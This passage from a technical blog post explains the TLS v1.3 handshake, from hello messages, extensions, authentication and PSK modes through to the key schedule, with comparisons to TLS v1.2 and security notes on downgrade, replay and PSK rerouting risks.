\nBy comparing this diagram with the one for TLS v1.2,\nwe can see that the client can send application data sooner in TLS v1.3:\nafter 2 round trips (2RTT) in TLS v1.2;\nafter one round trip (1RTT) in TLS v1.3 (for the happy path).
\nNote: ChangeCipherSpec
and backward compatibility
For better retrocompatibility with existing middleboxes,\nthe client and the server may send ChangeCipherSpec
messages.\nThese messages are ignored in TLS v1.3.\nThese messages are not indicated in the sequence diagrams of this post.
On OpenSSL, this feature is enabled by default but may be disabled\nby clearing the SSL_OP_ENABLE_MIDDLEBOX_COMPAT
option.
The client and the server starts by exchanging hello message (ClientHello
and ServerHello
)\nwhich features:
random
fields);struct {\n ProtocolVersion legacy_version = 0x0303; /* TLS v1.2 */\n Random random;\n opaque legacy_session_id<0..32>;\n CipherSuite cipher_suites<2..2^16-2>;\n opaque legacy_compression_methods<1..2^8-1>;\n Extension extensions<8..2^16-1>;\n} ClientHello;\n\nstruct {\n ProtocolVersion legacy_version = 0x0303; /* TLS v1.2 */\n Random random;\n opaque legacy_session_id_echo<0..32>;\n CipherSuite cipher_suite;\n uint8 legacy_compression_method = 0;\n Extension extensions<6..2^16-1>;\n} ServerHello;\n
\nNote: backward compatibility
\nSome of the fields in these messages are not really used anymore\nand are present for compatibility with previous versions of TLS:
\nClientHello.legacy_version
and ServerHello.legacy_version
)\nbut is now negotiated in the supported_versions
extension.\nIn TLS v1.3,\nthe legacy_version
is set to TLS v1.2\nin order to avoid breaking middleboxes.legacy_session_id
was used for session resumption in previous versions of\nthe protocol. In TLS v1.3, the client may used a random value here\nand the server always echos the value in legacy_session_id_echo
.Note: extensions mechanism
\nIn TLS v1.2, extensions were present in the ClientHello
and ServerHello
messages\n(in cleartext).
In TLS v1.3, the TLS extensions may be present in different messages.\nMany extensions\nare not sent in the ClientHello
/ServerHello
messages\nbut are sent later on in the TLS handshake (and are thus encrypted).
Request message | \nResponse message | \nDescription | \n
---|---|---|
ClientHello | \nServerHello | \nExtensions necessary for the key exchange (eg. key_share ) | \n
ClientHello | \nEncryptedExtensions | \nOther extensions | \n
ClientHello | \nHelloRetryRequest | \nList of acceptable groups (key_share extension) | \n
ClientHello | \nCertificate | \nInformations associated with the certificate | \n
CertificateRequest | \nCertificate | \nInformations associated with the certificate | \n
NewSessionTicket | \nnone | \n\n |
Many extensions are still sent in the ClientHello
(in cleartext) however.\nThis includes in particular,\nthe server name (SNI)\nand application protocol (ALPN) extensions.\nThe Encrypted Client Hello (ECH)\nextension has been proposed to provide confidentiality to the ClientHello
message.
An ephemeral Diffie-Hellman key exchange is done\nin the ClientHello
and ServerHello
messages.\nThe client and the server both include\na key_share
extension\nwhich contains an ephemeral Diffie-Hellman public key.\nThis Diffie-Hellman key exchange is used to establish\nseveral shared secrets.
enum {\n /* Elliptic Curve Groups (ECDHE) */\n secp256r1(0x0017), secp384r1(0x0018), secp521r1(0x0019),\n x25519(0x001D), x448(0x001E),\n /* Finite Field Groups (DHE) */\n ffdhe2048(0x0100), ffdhe3072(0x0101), ffdhe4096(0x0102),\n ffdhe6144(0x0103), ffdhe8192(0x0104),\n /* ... */\n (0xFFFF)\n} NamedGroup;\n\nstruct {\n NamedGroup group;\n opaque key_exchange<1..2^16-1>;\n} KeyShareEntry;\n\nstruct {\n KeyShareEntry client_shares<0..2^16-1>;\n} KeyShareClientHello;\n\nstruct {\n KeyShareEntry server_share;\n} KeyShareServerHello;\n
\nNote: proposing several groups
\nThe client can propose several ephemeral DH public keys\n(from different groups)\nin its key_share
extension.\nIn this case, the server chooses one of the groups proposed by the client\n(if it supports any)\nand generates an ephemeral Diffie-Hellman key pair in this group.
Example: proposed ephemeral DH public keys
\nIn my case,\nFirefox included (EC) DH public keys for the x25519
and secp256r1
groups.
Note: retry request in case of incompatible group
\nIf none of the DH groups proposed by the client is acceptable by the server,\nthe server sends\na HelloRetryRequest
message\nwhich includes an acceptable group to use in its key_share
extension.
struct {\n NamedGroup selected_group;\n} KeyShareHelloRetryRequest;\n
\nThe list of DH groups supported by the client has been advertised by the client\nin the supported_groups
extension of the ClientHello
:\nthe group chosen by the server is picked in this list.\nThe client may then send a new ClientHello
with an ephemeral DH public key\nin this group.
struct {\n NamedGroup named_group_list<2..2^16-1>;\n} NamedGroupList;\n
\nThe supported_versions
extension\nis used to negotiate the TLS version.
struct {\n select (Handshake.msg_type) {\n case client_hello:\n ProtocolVersion versions<2..254>;\n case server_hello: /* and HelloRetryRequest */\n ProtocolVersion selected_version;\n };\n} SupportedVersions;\n
\nNote: backward compatibility
\nIn TLS v1.2 and below,\nthe ClientHello.client_version
and ServerHello.server_version
fields\nwere used for negotiating the TLS versions.\nIn TLS v1.3, these fields are set to TLS v1.2 in order to look like\nTLS v1.2 and avoid breaking middle boxes.
Note: TLS version downgrade protection
\nTLS v1.3 provides an addition protection against\nprotocol downgrades:\nif TLS v1.2 or below is negotiated, the end server_random
field\nshould end with DNWGRD\\x01
or DNWGRD\\x00
.\nThis can be used by the client to detect a TLS version downgrade attack:\nthe client should reject the connection in this case.
The cipher suite is negotiated\nin the ClientHello.cipher_suites
and ServerHello.cipher_suite
fields:
ClientHello.cipher_suites
lists the cipher suites supported by the client;ServerHello.cipher_suite
indicates which cipheruite is chosen by the server.In TLS v1.3, the cipher suites are named using the TLS_{encryption}_{hash}
pattern\n(eg. TLS_CHACHA20_POLY1305_SHA256).\nEach cipher suite is defined by the combination of:
Note: difference with TLS v1.2
\nIn TLS v1.2, the key exchange algorithm (ECDHE_RSA
)\nis part of cipher suite (eg. TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
) as well.\nIn TLS v1.3, the key exchange algorithm is negotiated separately\nfrom the cipher suite (eg. TLS_CHACHA20_POLY1305_SHA256
).
As a consequence, the cipher suites for TLS v1.3 use different cipher suites from\nthe ones for TLS v1.2 and below (but they share the same ID space).\nA client willing to negotiate either TLS v1.2 and TLS v1.3\nshould propose cipher suites for both versions\nin the ClientHello
.
Example: negotiated cipher suites
\nIn my case, Firefox proposed using\nthe TLS_CHACHA20_POLY1305_SHA256
\nand TLS_AES_128_GCM_SHA256
\ncipher suites\n(as well as TLS v1.2 cipher suites in case TLS v1.2 was negotiated).\nThe TLS_AES_128_GCM_SHA256
cipher suite was chosen by the server.
The signature_algorithms
\nextension is used in the ClientHello
to announce\nwhich signature schemes\nare accepted by the client\nfor server authentication (in the CertificateVerify
message).
enum {\n /* RSASSA-PKCS1-v1_5 algorithms */\n rsa_pkcs1_sha256(0x0401),\n rsa_pkcs1_sha384(0x0501),\n rsa_pkcs1_sha512(0x0601),\n\n /* ECDSA algorithms */\n ecdsa_secp256r1_sha256(0x0403),\n ecdsa_secp384r1_sha384(0x0503),\n ecdsa_secp521r1_sha512(0x0603),\n\n /* RSASSA-PSS algorithms with public key OID rsaEncryption */\n rsa_pss_rsae_sha256(0x0804),\n rsa_pss_rsae_sha384(0x0805),\n rsa_pss_rsae_sha512(0x0806),\n\n /* EdDSA algorithms */\n ed25519(0x0807),\n ed448(0x0808),\n\n /* RSASSA-PSS algorithms with public key OID RSASSA-PSS */\n rsa_pss_pss_sha256(0x0809),\n rsa_pss_pss_sha384(0x080a),\n rsa_pss_pss_sha512(0x080b),\n\n /* Legacy algorithms */\n rsa_pkcs1_sha1(0x0201),\n ecdsa_sha1(0x0203),\n\n /* Reserved Code Points */\n private_use(0xFE00..0xFFFF),\n (0xFFFF)\n} SignatureScheme;\n\nstruct {\n SignatureScheme supported_signature_algorithms<2..2^16-2>;\n} SignatureSchemeList;\n
\nIf the set of signature schemes supported in certificates is different from\nthe ones supported for CertificateVerify
,\nthe signature_algorithms_cert
is used\nto announce the signature schemes supported in certificates.
Example: signature algorithms
\nIn my example, Firefox announced support for:\necdsa_secp256r1_sha256
, ecdsa_secp384r1_sha384
, ecdsa_secp521r1_sha512
,\nrsa_pss_rsae_sha256
, rsa_pss_rsae_sha384
, rsa_pss_rsae_sha512
,\nrsa_pkcs1_sha256
, rsa_pkcs1_sha384
, rsa_pkcs1_sha512
, ecdsa_sha1
,\nrsa_pkcs1_sha1
.
Note: new signature algorithms in TLS v1.3
\nNew signature schemes have been introduced by TLS v1.3:
\nNote: difference between rsa_pss_rsae_*
and rsa_pss_pss_*
In X.509 certificates,\nthree different keys types (SubjectPublicKeyInfo.algorithm
) are defined for RSA keys.
TBSCertificate ::= SEQUENCE {\n version [0] EXPLICIT Version DEFAULT v1,\n serialNumber CertificateSerialNumber,\n signature AlgorithmIdentifier,\n issuer Name,\n validity Validity,\n subject Name,\n subjectPublicKeyInfo SubjectPublicKeyInfo,\n issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL,\n -- If present, version MUST be v2 or v3\n subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL,\n -- If present, version MUST be v2 or v3\n extensions [3] EXPLICIT Extensions OPTIONAL\n -- If present, version MUST be v3\n }\n\nSubjectPublicKeyInfo ::= SEQUENCE {\n algorithm AlgorithmIdentifier,\n subjectPublicKey BIT STRING }\n
\nThe rsaEncryption
type\nhas been\nused to identify RSA public keys, independently of their usage:
rsaEncryption OBJECT IDENTIFIER ::= { pkcs-1 1 }\n\nRSAPublicKey ::= SEQUENCE {\n modulus INTEGER, -- n\n publicExponent INTEGER } -- e\n
\nThis type can be used both for RSA encryption\n(eg. with the RSA transport key exchage method in TLS v1.2)\nand for RSA signature (eg. with the ECDHE_RSA transport in TLS v1.2).\nThe key usage\nX.509 extension could be used to restrict a given certificate\nto be used either for encryption or for signature.\nMoreover, there are two algorithms for RSA signatures (RSASSA-PKCS1-v1_5 and RSASSA-PSS)\nand there is no way to constraint a rsaEncryption
key to one signature\ntype or the other.
The RSASSA-PSS
\nkey type in X.509 certificates can be used\nif the certificate is intended to be used for RSASSA-PSS signatures only.\nIn this case, the certificate may contain additional informations\nin the AlgorithmIdentifier.parameters
.
id-RSASSA-PSS OBJECT IDENTIFIER ::= { pkcs-1 10 }\n\nRSASSA-PSS-params ::= SEQUENCE {\n hashAlgorithm [0] HashAlgorithm DEFAULT\n sha1Identifier,\n maskGenAlgorithm [1] MaskGenAlgorithm DEFAULT\n mgf1SHA1Identifier,\n saltLength [2] INTEGER DEFAULT 20,\n trailerField [3] INTEGER DEFAULT 1 }\n
\nTLS v1.3 defines different signature schemes depending on the public key algorithm:
\nrsa_pss_rsae_*
is for RSA-PSS signatures with a rsaEncryption
(RSAE) key in the certificate;rsa_pss_pss_*
is for RSA-PSS signatures with a RSASSA-PSS
key in the certificate.Note: compatibility with TLS v1.2 SignatureAndHashAlgorithm
In TLS v1.2, a signature method was the combination of a\nsignature method and a hash algorithm:
\nstruct {\n HashAlgorithm hash;\n SignatureAlgorithm signature;\n} SignatureAndHashAlgorithm;\n
\nThese two 1-byte values have been merged into a a single 2-byte SignatureScheme
values in TLS v1.3.
Note: difference with TLS v1.2 (ECDSA)
\nWhen using ECDSA in TLS v1.2,\na suported signature algorithm was the combination of the ECDSA method and a hash function\n(eg. ecdsa
sha256
).\nThe elliptic_curves
extension was used both to announce which (elliptic curve) groups\ncould be used for the ECDSA signature\nand which (elliptic curve) groups could be used for ECDH key exchanges.
In TLS v1.3, each ECDSA signature scheme is tied to a given elliptic curve (eg. ecdsa_secp256r1_sha256
).\nThe elliptic_curves
has been renamed to supported_groups
extension:\nit now only advertises the DH groups (both FFDH and ECDH) supported\nfor the DHE key exchange\n(not for the digital signatures).
The client can use\nthe Server Name Indication (SNI) extension\nto announce the server name it intends to connect to.\nFor example, the server can use this information to select\nwhich certificate chain to send,\nwhether to propose client authentication, etc.
\nstruct {\n NameType name_type;\n select (name_type) {\n case host_name: HostName;\n } name;\n} ServerName;\n\nenum {\n host_name(0), (255)\n} NameType;\n\nopaque HostName<1..2^16-1>;\n\nstruct {\n ServerName server_name_list<1..2^16-1>\n} ServerNameList;\n
\nThe server indicates that it actually used the content of the server_name
\nby including an empty server_name
extension in\nin the EncryptedExtensions
messages.
The peers can use the\nApplication-Layer Protocol Negotiation (ALPN) extension\nto negotiate which application protocol\nwill be transported by the TLS connection.
\nNote: ALPN and QUIC
\nWhen using QUIC,\nthe application protocol negotiated using ALPN\nis not transported on top of TLS.\nInstead, the application protocol is transported directly on top QUIC.
\n\nThe QUIC key materials are\nderived\nfrom the TLS traffic secrets.
\nopaque ProtocolName<1..2^8-1>;\n\nstruct {\n ProtocolName protocol_name_list<2..2^16-1>\n} ProtocolNameList;\n
\nExample
\nIn my example, Firefox\nannounced support for HTTP/2 (h2
) and HTTP/1.1 (http/1.1
).\nThe server chose to use HTTP/1.1.
After the DH key exchange, the client and the server have a DH shared secret\nand can start exchanging protected messages.\nAll subsequence messages are encrypted and data-authenticated (AEAD)\nusing encryption keys derived from this DH shared secret\nand the message transcript.
\nHowever, the participants have not been authenticated yet at this point.
\nNote: difference with TLS v1.2
\nIn TLS v1.2, most of the handshake was send in cleartext.\nOnly the Finished
message was using encryption.\nIn TLS v1.3, the encryption happens much sooner.
At this point, the server sends\nthe EncryptedExtensions
message.\nThis message contains most server TLS extensions\nwhich were not necessary for the key exchange\n(some extensions are included in the Certificate
message).
struct {\n Extension extensions<0..2^16-1>;\n} EncryptedExtensions;\n
\nIf the server supports client authentication, the server sends a\nCertificateRequest
message.
struct {\n opaque certificate_request_context<0..2^8-1>;\n Extension extensions<2..2^16-1>;\n} CertificateRequest\n
\nThis message contains several extensions.\nImportant extensions are:
\nsignature_algorithms
(required), signature schemes accepted for the authentication (CertificateVerify
);signature_algorithms_cert
(optional), signature schemes accepted for certificate signatures (if different);certificate_authorities
(optional), certificate authorities accepted by the server.opaque DistinguishedName<1..2^16-1>;\n\nstruct {\n DistinguishedName authorities<3..2^16-1>;\n} CertificateAuthoritiesExtension;\n
\nNote: certificate_request_context
The certificate_request_context
is only used for\npost-handshake authentication.
The server can now authenticate itself by sending:
\nCertificate
message, with the server certificate chain;CertificateVerify
message, containing a signature of the server (signing) private key;Finished
message, containing a MAC of the TLS handshake.The server may start sending application data after its Finished
message.\nIf the server supports client authentication, it might be willing to\nwait for the client authentication before sending confidential data.
Note: more robust use of digital signatures
\nIn TLS v1.2, the digital signature used for authenticating the server\n(ServerKeyExchange.signed_params
)\nfor FFDHE\nand ECDHE\ncipher suites\nonly covers a restricted subset of the handshake\n(cf. Logjam attack):\nthe server and client random/nonces,\nthe chosen (FF/EC)DH group and the server ephemeral (FF/EC)DH public key.
In TLS v1.3, this digital signature (in the CertificateVerify
message)\ncovers all the previous handshake messages\n(hash of the TLS handshake transcript).
The Certificate
message\n(typically) contains a chain of X.509 certificates.
enum {\n X509(0),\n RawPublicKey(2),\n (255)\n} CertificateType;\n\nstruct {\n select (certificate_type) {\n case RawPublicKey:\n /* From RFC 7250 ASN.1_subjectPublicKeyInfo */\n opaque ASN1_subjectPublicKeyInfo<1..2^24-1>;\n\n case X509:\n opaque cert_data<1..2^24-1>;\n };\n Extension extensions<0..2^16-1>;\n} CertificateEntry;\n\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n} Certificate;\n
\nExtensions:
\nstatus_request
for OCSP status;signed_certificate_timestamp
for Certificate Transparency.The certificate chain is a proof of the association of the public key (contained in the leaf certificate)\nwith the server.\nAfter receiving this message, the client can\nvalidate the certificate chain.\nIf the validation succeeds,\nthe client can trust that the public key found in the server certificate actually belongs to the server\nand can be relied on for authenticating the server.
\nCertificateVerify
At this point, the server is not yet authenticated.\nIn order to authenticate itself,\nthe server sends a signature of\n(the hash of the current transcript of)\nthe TLS handshake\nin the CertificateVerify
message.\nThis proves that the server the client it is talking to\nis in possession of the private key\nand therefore\n(in combination with the certificate chain validation)\nthat the client is talking to the genuine server.
struct {\n SignatureScheme algorithm;\n opaque signature<0..2^16-1>;\n} CertificateVerify;\n
\nNote: comparison with TLS v1.2
\nIn TLS v1.2, the signature of server authentication\n(for signature-based key exchange algorithms)\nwould only cover (in the ServerKeyExchange
message)\na restricted set of values:\nserver and client random value and the server Diffie-Hellman parameters.\nThe logjam attack was possible\nbecause of this defect.
In TLS v1.3, the signature used for server authentication covers the complete\nTLS handshake at this point (a hash of the TLS transcript).
\nThe server then sends a Finished
\nmessage which contains an HMAC of the handshake messages\nwith a secret key derived from the key exchange.\nThis authenticates both the keys (key confirmation) and the current TLS handshake\n(protection against tampering the TLS handshake).
struct {\n opaque verify_data[Hash.length];\n} Finished;\n
\nThe client authentication process is similar to the server authentication process.
\nIf the client authentication was requested, the client sends\na Certificate
message with its certificate chain\n(or a raw public key if negotiated with client_certificate_type
)\nand a CertificateVerify
with a signature.
If the client does not wish (or cannot) authenticate, it sends a Certificate
message\nwith an empty certificate chain and no CertificateVerify
message.\nThe server may either accept unauthenticated connections\nand reject the connection with the certificate_required
fatal alert.
Whether client authentication was requested or not,\nthe client then sends a Finished
message.
Note: difference with TLS v1.2
\nIn TLS v1.2, the client certificate chain was sent in cleartext:\nthis could reveal some important information\n(eg. client identity contained in the client certificate subject)\nto passive attackers.
\nIn TLS v1.3, the client certificate is sent encrypted.\nMoreover, it is sent after server authentication.\nTherefore, the client knows it is communicating with the correct server\nwhen it sends its certificate chain.
\nThe client and the server can now exchange protected\n(encrypted and protected) messages over the TLS connection.
\nWhen one side does not need to send data over the TLS connection anymore,\nit sends a warning
close_notify
alert\nto signal end-of-data.
If some error happens at any time (eg. in the TLS handshake),\nthe peer sends an Alert
message\nwith some other alert code.
enum { warning(1), fatal(2), (255) } AlertLevel;\n\nenum {\n close_notify(0),\n unexpected_message(10),\n ...\n} AlertDescription;\n\nstruct {\n AlertLevel level;\n AlertDescription description;\n} Alert;\n
\nThe close_notify
alert is sent by one peer when it does no have any mesasge to send\non the TLS connection.
The two PSK-based handshakes\ndo not rely on digital signatures and certificates at all.\nInstead, they assume that a secret value, the pre shared secret (PSK),\nis already shared between the client and the server.\nThis PSK is used to establish cryptographic material\n(such as encryption and MAC keys).
\nThe lack of digital signature and digital certificates can be useful for low-performance environments\nsuch as IoT applications.
\nIn contrast to TLS PSK is TLS v1.2 which was an extension of the core protocol,\nPSK support is part of the core TLS v1.3\nand is used for session resumption.
\n\nNote: notations
\nTwo PSK-based key exchange can be used:
\npsk_dhe_ke
) includes an ephemeral Diffie-Hellman\nkey exchange as well in order to provide forward secrecy\n(with respect to the PSK).psk_ke
handshake does not provide forward secrecy\nwith respect to the PSK.Note: origin of the PSK
\nThe PSK may either have been established by a previous TLS handshake (internal PSK),\nor by through another mean (external PSK):
\nNewSessionTicket
message).In addition the PSK importer mechanism\nhas been defined as a safer mechanism to derive (several) (imported) PSKs from an external PSK.
\nType of PSK | \nPSK identity | \nPSK | \n
---|---|---|
External PSK | \nopaque, arbitrary | \narbitrary | \n
Imported PSK | \nImportedIdentity | \nderived from the external PSK, ImportedIdentity , protocol version, KDF and some optional context | \n
Internal PSK (session resumption) | \nChosen by the server and sent in NewSessionTicket.ticket | \nderived from the resumption_master_secret and NewSessionTicket.ticket_nonce | \n
struct {\n opaque external_identity<1...2^16-1>;\n opaque context<0..2^16-1>;\n uint16 target_protocol;\n uint16 target_kdf;\n} ImportedIdentity;\n
\nThe context
field is an optional application-specific data.\nSee Appendix A of RFC9258 for an example of context
.
Warning: PSK identity exposure
\nThe proposed PSK identities are sent in cleartext\n(unless ECH is used)\nand the accepted PSK identity index (if any) is sent in cleartext.\nThis might be a privacy issue if external PSK identites are not opaque or are reused:
\nImportedIdentity.context
field);This is not a problem for PSK identities used for\nsession resumption because they are opaque\n(can be made opaque)\nand are not expected to be reused.
\nMoreover, an attacker\nmay verify if a given PSK identity is valid.
\nWarning: restrictions when using PSKs
\nYou should be make sure to only use a single PSK:
\nHKDF_SHA512
KDF, you should not be able / try to use it with the TLS_AES_128_GCM_SHA256
ciphersuite\nbecause this ciphersuite uses the HKDF_SHA256
KDF).i.e.:
\nThis should be automatically taken care of when using internal PSKs\nbut this might not hold when designing a system using external PSKs.
\nRerouting/impersonation vulnerabilities may be introduced\nif these conditions are not verified.\nYou should use PSK importer mechanism (imported PSKs)\ninstead of directly using external PSKs in this case.\nThis mechanism can be used to\nmay be used to derive multiple PSKs from a an external PSK:
\nImportedIdentity.context
(as explained below).For some guidance on using an external PSK, see\nGuidance for External PSK Usage in TLS.
\nVulnerability: rerouting attacks (eg. Selfie) when using external PSK for group membership
\nIf you want to secure the communications in a group of nodes,\nyou might be tempted to use a single PSK for the whole group and have each node\nbehave both as a TLS client and a TLS server.\nHowever, this setup is vulnerable\nto rerouting attacks\n(such as the Selfie attack).\nAn active attacker can redirect a pending TLS connection to another node of the group\n(including the client itself).\nThis is because, if the PSK is shared within a group,\nthe authentication provided by the PSK key exchange\nit can only authenticate the group as a whole.
\nNote that this vulnerability is present in TLS-PSK v1.2 as well.
\nMitigations:
\nHowever, the best solution is to\navoid direcly using a group PSK:
\n\n\nUnless other accommodations are made to mitigate the risks of\nPSKs known to a group, each PSK MUST be restricted in its use to\nat most two logical nodes: one logical node in a TLS client role\nand one logical node in a TLS server role.
\n
In other words,\na given PSK should be associated with one client and one server\nand should not swap roles for the same PSK.
\nA solution is to use the PSK importer mechanism\nto derive different imported PSKs for the different roles from the main group PSK.\nThis is achieved by including the node identities\nin the context
parameter of the ImportedIdentity
.
When possible,\nyou might find it preferable to use public-key based authentication\nwith one keypair per node.
\nWarning: sharing the same PSK between different versions of the protocol
\nThe specification recommends\nagainst sharing the same PSK between TLS v1.2 and TLS v1.3\nbecause of the lack of analysis in this regard.
\nOpenSSL acknowledges this but still provides some features\n(SSL_CTX_set_psk_server_callback()
)\nwhich allows for sharing the same PSK\nfor TLS v1.2 and TLS v1.3 by default.
When the client is willing to use one of the two PSK-based key exchange methods,\nit proposes one or several PSK identities[2]\nto use through the pre_shared_key
extension of the ClientHello
message.\nIn addition, it uses the\npsk_key_exchange_modes
extension\nto announce which PSK mode it supports (psk_ke
and/or psk_dhe_ke
).
If the server accepts one of the proposed PSK identities,\nthe chosen identity\n(actually the index of the identity in the list of proposed PSK identities)\nis indicated in the pre_shared_key
extension\nof the ServerHello
.
The server never sends the psk_key_exchange_modes
extension.\nThe presence of a DHE public key (psk_key_exchange_modes
extensions of the ServerHello
)\nindicates that psk_dhe_ke
is used.\nOtherwise, psk_ke
is used.
struct {\n opaque identity<1..2^16-1>;\n uint32 obfuscated_ticket_age;\n} PskIdentity;\n\nopaque PskBinderEntry<32..255>;\n\nstruct {\n PskIdentity identities<7..2^16-1>;\n PskBinderEntry binders<33..2^16-1>;\n} OfferedPsks;\n\nstruct {\n select (Handshake.msg_type) {\n case client_hello: OfferedPsks;\n case server_hello: uint16 selected_identity;\n };\n} PreSharedKeyExtension;\n\nenum { psk_ke(0), psk_dhe_ke(1), (255) } PskKeyExchangeMode;\n\nstruct {\n PskKeyExchangeMode ke_modes<1..255>;\n} PskKeyExchangeModes;\n
\nWarning: lack of forward secrecy for psk_ke
The psk_ke
key exchange mode does not provide forward secrecy with respect to the PSK.
The psk_dhe_ke
key exchange mode provides\nforward secrecy by incorporating an ephemeral Diffie-Hellman key exchange.
Note: PSK binders
The client pre_shared_key
extensions includes a PSK binder\nper proposed identity which serves as a proof that the client\npossess the PSK associated with the PSK identity.
When using a PSK (either with psk_ke
or psk_dhe_ke
),\nthe client and the server already have a shared secret.\nThe client, may use this shared secret to send protected application directly after the ClientHello
message.\nThis is called early data or 0RTT (because it does not require any round trip with the server).
In this case, the early_data
extension\nis sent by the client.
early_data
extension in the EncryptedExtensions
message.\nIn this case, the client can send early data until it receives the server Finished
message:\nwhen this happens, it must send an EndOfEarlyData
message marking the end of the early data.If the client, proposes several PSK identities, only the first one is used to protect early data.\nThe server may only accept the early data if it accepts the first PSK identity.
\nstruct {} Empty;\n\nstruct {\n select (Handshake.msg_type) {\n case new_session_ticket: uint32 max_early_data_size;\n case client_hello: Empty;\n case encrypted_extensions: Empty;\n };\n} EarlyDataIndication;\n\nstruct {} EndOfEarlyData;\n
\nThe early application data is protected using key material derived from the PSK\nof the first proposed PSK identity.\nThe encryption algorithm used for early data\nis the one which was associated with the PSK.\nFor session resumption, this is the encryption algorithm\nused for the parent TLS connection.
\nWarning: security implication of using early data
\nThere is no forward secrecy of the early/0RTT application data\nwith respect to the PSK (because the Diffie-Hellman key exchange has not been done yet).\nMoreover, early data might be vulnerable to replay attacks\n(because the server did not have any occasion\nto contribute any value to the TLS handshake yet).
\nFor these reasons, support for early data is usually not enabled by default:
\nThe server may send one or several NewSessionTicket
messages in order\nto provision internals PSKs\nto the client which may be used for session resumption.
struct {\n uint32 ticket_lifetime;\n uint32 ticket_age_add;\n opaque ticket_nonce<0..255>;\n opaque ticket<1..2^16-1>;\n Extension extensions<0..2^16-2>;\n} NewSessionTicket;\n
\nThe ticket
value is an opaque value used as psk_identity
.\nEach ticket is expected to be used only once\n(by the client).\nFor this reason, the server may choose to send multiple tickets to the client\nin the same TLS connection.
The PSK associated with the ticket is derived\nfrom the resumption_master_secret
and the ticket_nonce
:
\nHKDF-Expand-Label(resumption_master_secret,\n \"resumption\", ticket_nonce, Hash.length)\n\n
The following extension can be used in NewSessionTicket
:
early_data
(EarlyDataIndication
), indicates that 0-RTT data may be accepted by the server.Note: comparison with TLS v1.2
\nIn TLS v1.2, the session master secret was shared\nbetween the original TLS connection and the resumed session.\nAs a consequence, if the session state was compromised\nat some point it could be used to decrypt the original TLS connection.\nThis is no longer the case in TLS v1.3:\nthe internal PSK used for session resumption\nis derived from the master secret of the original TLS connection.
\nMoreover, TLS v1.2 could not provide forward secrecy of the content of the resumed TLS connection\ndata with respect to the master secret:\nif the master secret was compromised, it could be used to derypt the content of the resumed TLS connection\nafter the fact.\nIn TLS v1.3, the psk_dhe_ke
mode provides forward forward secrecy of the resumed TLS connection\nwith respect to the session resumption PSK.
Note: content of the ticket
\nThe ticket is opaque for the client.\nIt's content is an implementation detail of the server.\nIt may be:
\nIf the client supports it,\nthe server may request a client authentication after the TLS handshake.\nThis feature may be useful:
\nExample: smartcard-based authentication
\nThe second feature might for example be used for smartcard-based authentication:\na TLS connection is still usable by the client even when the smartcard has been unplugged\n(bcause the private key is only used at duration the authentication).\nBy requesting a post handshake authentication, the server could make sure that the client\nstill has access to the smartcard.
\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n Extension extensions<2..2^16-1>;\n} CertificateRequest;\n\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n} Certificate;\n
\nIn a post handshake authentication, a non-empty CertificateRequest.certificate_request_context
field is passed by the server.\nThis value is repeated by the client in the Certificate.certificate_request_context
field\nwhich can be used to match requests/responses.\nMoreover, the CertificateVerify
signature\ncovers the certificate request context\nwhich ensures the freshness of the signature.
After a post handshake authentication,\nthe server may send NewSessionTicket
messages\nwhich may be used by the client for session resumption tied to the new client identity.
Warning: post-handshake authentication after an external PSK handshake
\nPost-handshake authentication is apparently/arguably allowed\nby the protocol after a PSK handshake.\nHowever, using a post-handshake authentication\nafter a psk_ke
key exchange\nwith an external PSK\ncan open up impersonation attacks.
As far as I understand, this attack could be prevented using SNI.
\nThe type of certificate used for server authentication\nis negotiated using the server_certificate_type
extension\n(in the ClientHello
and EncryptedExtensions
messages).\nTLS v1.3 only supports X.509 certificate chains and raw public key.
The type of certificate used for client authentication\nis negotiated using the client_certificate_type
extension\n(in the ClientHello
and EncryptedExtensions
messages).
See the previous post\nfor motivations for using raw public keys.
\nThe compress_certificate
extension\nmay be used to negotiated the compression of the certificate chains\n(either client or server).
enum {\n zlib(1),\n brotli(2),\n zstd(3),\n (65535)\n} CertificateCompressionAlgorithm;\n\nstruct {\n CertificateCompressionAlgorithm algorithms<2..2^8-2>;\n} CertificateCompressionAlgorithms;\n
\nIf the one peer has announced support for certificate compression,\nthe other peer may send a CompressedCertificate
message.
struct {\n CertificateCompressionAlgorithm algorithm;\n uint24 uncompressed_length;\n opaque compressed_certificate_message<1..2^24-1>;\n} CompressedCertificate;\n
\nBy including unique random
nonces in the transcript,\neach participant can make sure that the handshake transcript is unique.\nThis protects against replay attacks\nby ensuring the freshness of several authentication fields\nsuch as:
verify_data
of the Finished
messages;signature
fields of the CertificateVerify
messages.Moreover, the participants ensures that the derived cryptographic materials\nare unique to this TLS connections.
\nThis is especially important when using the PSK (without DHE) key exchange mode:\nin the two other key exhange modes, each participant already contributes an ephemeral value\nin the TLS handshake (its ephemeral Diffie-Hellman public key[3]).
\nMoreover, in TLS v1.3 the server_random
is used\nfor downgrade detection.
The hash function negotiated as part of the cipher suite is used:
\nThe key hierachy is made of three layers:
\nSee as well this nice diagram\nand this other nice diagram.
\nThe early secret is intended to be used before getting any answer from the server.\nAt this point, the Diffie-Hellman key exchange has not been done yet.
\nThe early secret is derived from the PSK (if any).\nThis is used to derive:
\nbinder_key
, used to compute an HMAC to prove knowledge of the PSK to the server;client_early_traffic_secret
, used to derive key material to encrypt the client early (0-RTT) traffic;early_exporter_master_secret
, see key exporters.All of these features are only available with the PSK key exchange algorithms.
\nMoreover, because the server did not contribute any input to the early secret,\nthey are vulnerable to replay attacks.\nSome mitigations may be implemented.
\nThe handshake secret is derived from the early secret and Diffie-Hellman exchange (if any).\nIt is used to derive keys used for protecting the messages of the TLS handshake:
\nclient_handshake_traffic_secret
, used to derive key material to encrypt client-initiated handshake messages (after the ClientHello
up to the client Finished
);server_handshake_traffic_secret
, used to derive key material to encrypt server-initiated handshake messages (after the ServerHello
up to the server Finished
).The master secret is derived from the handshake secret.\nIt is used to derive keys for protecting post-handshake communications\n(i.e. both post-handshake application data and post-handshake messages such as KeyUpdate
\nand NewSessionTicket
):
client_application_traffic_secret_0
, used to derive key material to encrypt for client post-handshake messages;server_application_traffic_secret_0
, used to derive key material to encrypt for server post-handshake messages;exporter_master_secret
